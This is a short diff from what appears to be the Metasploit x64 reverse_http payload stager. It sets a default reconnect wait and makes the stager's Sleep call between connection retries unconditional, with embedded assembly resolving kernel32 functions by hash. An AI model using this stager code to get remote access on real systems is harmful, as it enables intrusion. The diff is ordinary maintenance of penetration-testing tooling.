@@ -30,7 +30,7 @@ def initialize(*args)
30
30
register_advanced_options ( [
31
31
OptInt . new ( 'StagerURILength' , [ false , 'The URI length for the stager (at least 5 bytes)' ] ) ,
32
32
OptInt . new ( 'StagerRetryCount' , [ false , 'The number of times the stager should retry if the first connect fails (zero to infinite retries)' , 10 ] ) ,
33
- OptInt . new ( 'StagerRetryWait' , [ false , 'Number of seconds to wait for the stager between reconnect attempts' ] ) ,
33
+ OptInt . new ( 'StagerRetryWait' , [ false , 'Number of seconds to wait for the stager between reconnect attempts' , 5 ] ) ,
34
34
OptString . new ( 'PayloadProxyHost' , [ false , 'An optional proxy server IP address or hostname' ] ) ,
35
35
OptPort . new ( 'PayloadProxyPort' , [ false , 'An optional proxy server port' ] ) ,
36
36
OptString . new ( 'PayloadProxyUser' , [ false , 'An optional proxy server username' ] ) ,
@@ -159,7 +159,7 @@ def required_space
159
159
def asm_reverse_http ( opts = { } )
160
160
161
161
retry_count = opts [ :retry_count ] . to_i
162
- retry_wait = opts [ :retry_wait ] ? ( opts [ :retry_wait ] . to_i * 1000 ) : nil
162
+ retry_wait = opts [ :retry_wait ] . to_i * 1000
163
163
proxy_enabled = !!( opts [ :proxy_host ] . to_s . strip . length > 0 )
164
164
proxy_info = ""
165
165
@@ -366,16 +366,13 @@ def asm_reverse_http(opts={})
366
366
call rbp
367
367
test eax, eax
368
368
jnz allocate_memory
369
+
370
+ set_wait:
371
+ mov rcx, #{ retry_wait } ; dwMilliseconds
372
+ mov r10, #{ Rex ::Text . block_api_hash ( 'kernel32.dll' , 'Sleep' ) }
373
+ call rbp ; Sleep( dwMilliseconds );
369
374
^
370
-
371
- if retry_wait
372
- asm << %Q^
373
- set_wait:
374
- mov rcx, #{ retry_wait } ; dwMilliseconds
375
- mov r10, #{ Rex ::Text . block_api_hash ( 'kernel32.dll' , 'Sleep' ) }
376
- call rbp ; Sleep( dwMilliseconds );
377
- ^
378
- end
375
+
379
376
380
377
if retry_count > 0
381
378
asm << %Q^
0 commit comments